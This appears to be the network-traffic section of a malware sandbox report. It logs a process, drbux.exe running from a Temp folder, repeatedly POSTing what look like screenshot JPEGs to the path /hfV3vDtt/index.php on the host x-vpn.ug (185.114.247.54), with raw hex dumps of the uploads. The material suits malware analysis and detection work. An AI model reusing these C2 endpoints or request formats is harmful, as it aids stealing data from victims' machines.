Jul 19, 2021 18:35:42.593657970 CEST	4559	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:42.672147989 CEST	4562	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:42.672508955 CEST	4565	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:42.672842026 CEST	4567	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:42.673422098 CEST	4573	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:42.673748016 CEST	4574	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:42.673758030 CEST	4576	OUT	Data Raw: 5d b4 88 c9 2c b2 95 61 82 32 30 47 e5 5e 23 e2 4d 1d b4 1f 10 de 69 a4 96 58 5f e4 63 d4 a9 19 5f d0 8a ef ca b3 38 e2 af 49 bb c9 7e 47 cd 66 f8 4a 34 a6 aa 50 f8 5f 4e cc cb a2 8e f4 1e b5 ed 1e 28 50 29 29 7b d0 07 d0 36 df 0a 3c 2d 26 9d 05 Data Ascii: ],a20G^#MiX_c_8I~GfJ4P_N(P)){6<-&2+BHp2OZ+$k$vDov?vz_,"f{[6}_/FZqr=eEGU&q_<.t?_>uAJOw$/q#%+`ZA\|l}Ed'
Jul 19, 2021 18:35:42.674040079 CEST	4580	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:42.925021887 CEST	4644	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49738	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:21.323831081 CEST	1437	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:21.323893070 CEST	1437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:21.324058056 CEST	1447	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:21.324130058 CEST	1450	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:21.403512955 CEST	1453	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:21.404831886 CEST	1456	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:21.404895067 CEST	1469	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:21.404920101 CEST	1471	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:21.405177116 CEST	1473	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:35:21.406346083 CEST	1474	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:21 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:21.406419992 CEST	1476	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:35:21.495940924 CEST	1485	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.6	49777	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:43.249290943 CEST	4644	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:43.249325037 CEST	4645	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:43.249790907 CEST	4655	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:43.249996901 CEST	4657	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:43.327621937 CEST	4660	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:43.327687979 CEST	4663	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:43.328450918 CEST	4668	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:43.329258919 CEST	4674	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:43.329849005 CEST	4678	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:43.330164909 CEST	4681	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:35:43.331089020 CEST	4683	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:35:43.570544958 CEST	4742	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.6	49778	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:43.850699902 CEST	4743	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:43.850847006 CEST	4743	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:43.851279020 CEST	4753	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:43.851427078 CEST	4756	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:43.929733038 CEST	4756	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:43.930160999 CEST	4759	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:43.930547953 CEST	4762	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:43.930668116 CEST	4765	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:43.930811882 CEST	4767	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:43.931101084 CEST	4770	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:43.931274891 CEST	4773	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:43.931391954 CEST	4775	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
